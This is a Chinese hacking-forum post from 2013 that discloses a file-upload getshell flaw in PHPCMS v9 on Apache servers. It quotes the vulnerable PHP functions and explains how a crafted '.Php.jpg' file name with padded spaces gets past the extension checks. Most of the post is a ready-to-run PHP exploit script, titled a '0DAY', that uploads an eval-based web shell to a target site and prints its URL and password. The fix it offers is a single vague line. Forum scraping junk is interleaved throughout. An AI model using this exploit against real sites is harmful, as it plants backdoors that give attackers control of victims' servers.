找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2243|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
$ L2 {- u; Q0 w% d- x2 G0 R8 z) `! l/ f0 u6 _* \* R
简要描述:
5 d8 V& K/ K+ J$ {/ `  N, j, b4 c9 a: t0 l5 N
phpcms v9 getshell (apache)
4 g& p. q0 j; C$ n) R! y5 H详细说明:
+ r7 |) ?$ w& s! |! K- U/ Q6 `
! s3 A+ C9 ^7 L1 }! T* \6 O漏洞文件:phpcms\modules\attachment\attachments.php
2 G2 X8 t( [; M3 U' c) k: E  L& F4 ~# y' U/ u, A; [
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } ) Q4 m5 O" J# y. _4 Z) E# a; f
后缀检测:phpcms\modules\attachment\functions\global.func.php
/ n" H, X2 K  k8 ]% E0 c5 ~0 j: [6 K/ {
' o0 F, k) {& P3 _( \! U# L, I9 m . C: H- M& W# h# i
: w  P  |; [; D+ R; k- X
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
' v7 z8 S0 @& q, _6 z+ X! ?- ~2 c" f7 t% O
关键函数:  P; f1 U; R0 Q

3 ]" `( k( ^6 x8 ?/ ^
: }% w: e  W! r7 l' t9 C, T
& x" D5 h; S1 ?# v9 Y: ~2 cfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
3 X4 g6 v$ ^# h2 ]5 [" Y8 i, S6 ?8 q; p" @6 L. \
  Fileext函数是对文件后缀名的提取。/ F  F3 C. ?; e6 [7 X) y, x
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php% N5 O, l) d% Z6 M7 F4 X! K- z' c
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
0 J4 n+ \0 f+ E我们回到public function crop_upload() 函数中
5 W6 X0 n8 S2 H) y3 f! r  l, bif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
, w% a4 y1 L. a; Q* y$ i) k1 o( L在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
+ A* S+ _3 C( v- F& K" e这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
+ t' G; N* h+ x! h% B( A经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
# K- p0 q4 i" P* B/ F最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
  |" h9 ?9 v! y9 k看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
& ~4 R* w) p1 T! k+ K0 A漏洞证明:
, h. w& H8 t" ~7 p8 t
2 z- ^" J8 Y, D. bexp:5 Q7 }) U/ i1 t: q4 q+ x- S0 U

* v1 p2 P7 x- Y1 W9 N! J. P<?php
0 z3 ?8 _, s/ T" q; ~  x' |# C. R, ]6 Oerror_reporting(E_ERROR);0 g# |1 D% \2 a& X/ C) D5 ?# P
set_time_limit(0);
0 i. A! ?) |: k* u! z$pass="ln";
* ~9 w, j' Y' U4 R, H0 f; ~4 C1 j: vprint_r('
6 L( g6 M0 w; _+---------------------------------------------------------------------------+  @! a* V3 g5 Q: ?* c
PHPCms V9 GETSHELL 0DAY 7 N# X. Z: D( M" G3 ^7 ^+ u( \$ U. M
code by L.N.
9 {3 V. m. A( H+ u3 y' d
. I5 ~$ \8 O4 a8 L& Lapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net! q  o% r0 ~- x% f' t- X1 q* P: V+ x
+---------------------------------------------------------------------------+
% \! e; S% ?& s+ U& n9 z' d');# a3 ?6 U: _$ B. h
if ($argc < 2) {
+ n% A7 B1 P5 y8 |& B8 [: ~print_r('/ p! f  _" R* }& ~4 w
+---------------------------------------------------------------------------+
5 S: o* r, a+ P: DUsage: php '.$argv[0].' url path
7 ?1 U8 u# i' v7 T, D
: l& D$ H6 J" S# c3 d* ^; [/ E, LExample:
: ]. i3 x/ I& c, c1.php '.$argv[0].' lanu.sinaapp.com
; r9 M% j% S. `! I2 h8 U* A/ s2.php '.$argv[0].' lanu.sinaapp.com /phpcms
, j+ ]$ n$ M7 w* |6 u5 l1 l+---------------------------------------------------------------------------+2 m: z0 ~# d* k+ Y, b
');
. a& _) O5 ]) y* [5 B8 m) texit;* Q0 N  Y, B  t% i' s
}
, v0 t& p# i) d/ O# O( P8 J) Q5 u* r4 s
$url = $argv[1];  f' e1 r% e6 K! @% {
$path = $argv[2];- |2 i, N  I  H) \
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';0 ~$ p, c2 G5 n
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';9 f0 ~4 ]1 A6 T5 f- L7 f8 s9 e
if($ret=Create_dir($url,$path))
- a* p2 O% F: y1 Q8 e$ W0 I! D{! N/ K3 F5 S6 s
//echo $ret;
) j2 J7 G: O9 m$pattern = "|Server:[^,]+?|U";% [$ V8 }6 R' j; r( ]
preg_match_all($pattern, $ret, $matches);
5 W  O' @1 {4 \  l& nif($matches[0][0])
+ S1 Z. U1 I! P8 j{' r8 f, A% u/ {9 P4 e4 }+ G
if(strpos($matches[0][0],'Apache') == false)0 _3 \+ l% F' B" q* Q
{) l' E8 r2 C" g( Y/ ~/ ]: B
echo "\n亲!此网站不是apache的网站。\n";exit;6 s7 }9 s: d' s1 n" c
}9 J' h" M; h! a4 q) @1 {& I% r2 M
}
1 x* u. y# I  v) l$ret = GetShell($url,$phpshell,$path,$file);
; E$ k  F7 F4 E4 H6 M. u: h$pattern = "|http:\/\/[^,]+?\.,?|U";
, k/ z4 |5 `3 g# T2 C2 W9 E5 }preg_match_all($pattern, $ret, $matches);
) W0 G/ j7 ~6 t  j9 l( R4 Y5 Kif($matches[0][0])
  e' p* j& A9 {7 d3 u{
7 m$ T- L  I' decho "\n".'密码为: '.$pass."\n";
* ]1 Q$ q0 Z7 o% v0 |# c( A3 S! cecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
5 _8 m: Y9 a4 n0 L}
  C. \) m8 k. r# ?2 f; Felse
& J: s' ~7 v) a/ d{
+ Y% D1 G" a2 _' D- i2 S/ A$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
9 c" g5 |- h  w% l. q2 e3 p+ spreg_match_all($pattern, $ret, $matches);
5 u0 c. C( y% V5 h$ U# `) c) {7 |if($matches[0][0])
& S" }/ r: ^& {( f{' ]. f1 a9 P! G; F+ w/ h# o2 |+ J
echo "\n".'密码为: '.$pass."\n";
7 S! V0 _2 ~5 V0 i3 cecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
, ^$ y2 L- l, M; z! j+ m& N- p. A}; f( y% T/ a! z8 J: Y
else
# A1 v$ C; q$ l- h9 f- Z* s{
$ g7 f, l/ A1 t) U5 Eecho "\r\n没得到!\n";exit;
; d# K8 R8 ^3 k' n}
* Y8 ^, i' F9 i$ \! b/ e}
) y1 z4 Z- Y; ?% U1 M}8 x% D5 q0 a7 {& ~% [! H
& f; B; B2 l" D1 ^
function GetShell($url,$shell,$path,$js): u7 v6 z) c2 w' k! b
{0 Y! A6 @2 A8 n6 z# K+ C7 O4 d
$content =$shell;/ Z/ h$ i9 b3 a0 X% f3 E/ I
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
& @0 V& W, p2 b% R! s0 h$data .= "Host: ".$url."\r\n";
! ^) a$ G. f3 N4 F& F8 V$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
0 I7 U+ z8 b) Y$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";, ^# \3 g: f: Q' c
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";/ `+ k, Q0 k+ s! r& G# @6 r
$data .= "Connection: close\r\n";
& H, {) s+ l# W( w: K8 T4 Q$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
3 }* z# s: s5 j$data .= $content."\r\n";! W. A' [6 b: j: A' j
$ock=fsockopen($url,80);
. q8 ]: I' _3 @# [if (!$ock). c% S' F9 ?/ H# D7 K8 J3 i" e
{
; a" o' n5 z9 }  Yecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
0 Q! M! ^, q6 q9 v) Q! M}
3 Z- |4 j% |6 U0 G+ xelse; \5 _/ N$ I$ h1 u
{
8 }# x- Q& Q  X5 A& u- p2 wfwrite($ock,$data);0 l/ u- {/ S0 D, v
$resp = '';6 b  Z; h9 w/ l+ P
while (!feof($ock))
0 s( |$ t5 U+ q6 T* J4 X  |{
. m' ^  k/ d* \  S. G( Z$resp.=fread($ock, 1024);" }0 {* v  g  D* z7 Q' Q0 r
}  E, ?! j7 r& y( ?: J8 A7 ^2 V& {
return $resp;
; R! q. S0 l9 G& _# y}
3 Q1 B8 L! `* s/ D}: C% Q7 R) L+ B+ m  a! M8 E+ r

2 |4 b7 ]3 b4 y. U5 Sfunction Create_dir($url,$path='')( a: z' q! w8 |; j1 j8 o' l1 K" @
{- o% a$ l. B1 M4 y0 ]& g, O
$content ='I love you';% |; r- `/ |& F" K8 {  d
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";: ^4 [+ A" l+ p2 X- x5 m4 e
$data .= "Host: ".$url."\r\n";
* a" y* {2 Z$ I, X" h: F9 S6 C4 Q$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";" e% D2 [* \; \
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";0 b( J9 V2 y( s
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
' E# Z0 P: m3 Q% @. Z, d$data .= "Connection: close\r\n";
  L3 q  ^6 k. y$data .= "Content-Length: ".strlen($content)."\r\n\r\n";! R$ U4 q2 m. ]/ A6 Z9 J
$data .= $content."\r\n";
& O5 j1 {" ~, i! Z& k$ock=fsockopen($url,80);
( S% T$ [7 A! J% sif (!$ock)
5 s( h/ Z- g# ]! J# X% P' k{
1 X2 R! r: k/ S& W  i( J' l' E7 y% hecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;/ s/ N/ V; L+ L- E  A8 r
}
# ~, f. p4 |5 t+ a0 v9 ]9 Ofwrite($ock,$data);( U  [- c0 O9 K/ y' F3 M
$resp = '';
1 q+ U1 `( o* _, |1 dwhile (!feof($ock))
7 }% N% c7 q# a{
9 M4 Y! g& N0 S7 d6 |) u' B+ V$resp.=fread($ock, 1024);7 F7 f  M* R7 t7 U6 L8 V- X0 |
}) l8 F9 g+ ^3 q% g8 X
return $resp;, {: b3 q9 w7 p; N  V$ Z
}) G/ l4 c8 G' d) v7 C
?>
/ c0 W5 D( Y/ }$ G4 y9 t 9 w6 d+ p& Z1 ~1 k! U5 I
修复方案:, T9 n7 W1 N  ^2 q) ^
5 n+ R) V3 o" d+ Z' `/ T
过滤过滤再过滤+ ]8 j+ f2 @  @7 Y5 y: N# u; n
% J) i. \' h9 H" Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表